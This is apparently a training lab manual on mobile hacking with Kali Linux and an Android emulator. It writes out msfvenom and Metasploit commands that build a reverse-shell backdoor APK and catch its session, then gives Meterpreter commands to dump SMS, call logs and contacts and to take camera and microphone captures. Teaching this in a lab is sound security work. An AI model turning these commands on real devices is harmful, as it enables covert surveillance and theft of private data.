Mobile Hacking manual

This lab will guide you through simulating mobile hacking techniques using emulators and Kali Linux tools, without requiring a physical mobile device.

#### \*\*Prerequisites:\*\*    
- Kali Linux installed (either natively or in a virtual machine).    
- Internet access to download required tools.    
- Basic knowledge of Linux commands and cybersecurity concepts.

---

## \*\*Lab 1: Setting Up a Mobile Emulator in Kali\*\*    
Since no physical mobile device is available, we will use an Android emulator.

### \*\*Step 1: Install an Android Emulator\*\*    
Use an emulator like \*\*Android Studio AVD\*\* or \*\*Genymotion\*\* (recommended).    
#### \*\*Option 1: Using Android Studio Emulator\*\*    
1. Install Android Studio:    
   ```bash  
   sudo apt update && sudo apt install android-sdk android-tools-adb  
   ```  
2. Open Android Studio and create a virtual device.    
3. Select a system image (preferably an older version of Android to simulate vulnerabilities).    
4. Start the emulator and ensure \*\*Developer Mode\*\* and \*\*USB Debugging\*\* are enabled.

#### \*\*Option 2: Using Genymotion\*\*    
1. Download Genymotion from [[https://www.genymotion.com/](https://www.genymotion.com/).](https://www.genymotion.com/%5d(https:/www.genymotion.com/).)    
2. Install VirtualBox (required for Genymotion).    
   ```bash  
   sudo apt install virtualbox  
   ```  
3. Install and launch Genymotion, then create an Android Virtual Device (AVD).

### \*\*Step 2: Connect Kali Linux to the Emulator\*\*    
1. Open the terminal in Kali Linux and verify ADB (Android Debug Bridge) is installed:    
   ```bash  
   adb devices  
   ```  
   If no device is listed, ensure the emulator is running.    
2. Connect Kali to the emulator:    
   ```bash  
   adb shell  
   ```

---

## \*\*Lab 2: Exploiting an Android Device Using Metasploit\*\*    
We will create an Android backdoor and execute it in the emulator.

### \*\*Step 1: Generate a Malicious APK\*\*    
1. Use \*\*msfvenom\*\* to create a payload:    
   ```bash  
   msfvenom -p android/meterpreter/reverse\_tcp LHOST=<Kali-IP> LPORT=4444 -o malicious.apk  
   ```  
2. Install the APK in the emulator:    
   ```bash  
   adb install malicious.apk  
   ```

### \*\*Step 2: Set Up a Listener in Metasploit\*\*    
1. Start Metasploit Framework:    
   ```bash  
   msfconsole  
   ```  
2. Set up the multi-handler:    
   ```bash  
   use exploit/multi/handler  
   set payload android/meterpreter/reverse\_tcp  
   set LHOST <Kali-IP>  
   set LPORT 4444  
   exploit  
   ```  
3. If the APK is executed in the emulator, you will get a Meterpreter session.

---

## \*\*Lab 3: Extracting Data from an Android Device\*\*    
With a Meterpreter session established, we can execute various commands.

### \*\*Step 1: Dump SMS and Call Logs\*\*    
```bash  
dump\_sms  
dump\_calllog  
```

### \*\*Step 2: Extract Contacts\*\*    
```bash  
dump\_contacts  
```

### \*\*Step 3: Activate Camera and Record Audio\*\*    
```bash  
webcam\_snap  
record\_mic -d 10  
```

---

## \*\*Lab 4: Mobile Web App Penetration Testing\*\*    
### \*\*Step 1: Capture Traffic Using Burp Suite\*\*    
1. Set up \*\*Burp Suite\*\* as a proxy in Kali Linux.    
2. Configure the emulator to use \*\*Kali’s IP as a proxy\*\* in Wi-Fi settings.    
3. Open a mobile app in the emulator and intercept traffic in Burp Suite.

### \*\*Step 2: Exploit Insecure API Calls\*\*    
1. Look for \*\*plaintext credentials\*\* in API requests.    
2. Attempt to modify API requests using Burp Suite Repeater.

---

## \*\*Countermeasures and Defense Strategies\*\*    
- Always update mobile devices and apps to patch vulnerabilities.    
- Avoid installing APKs from untrusted sources.    
- Enable encryption and strong authentication on mobile devices.    
- Use VPNs to secure network connections.

---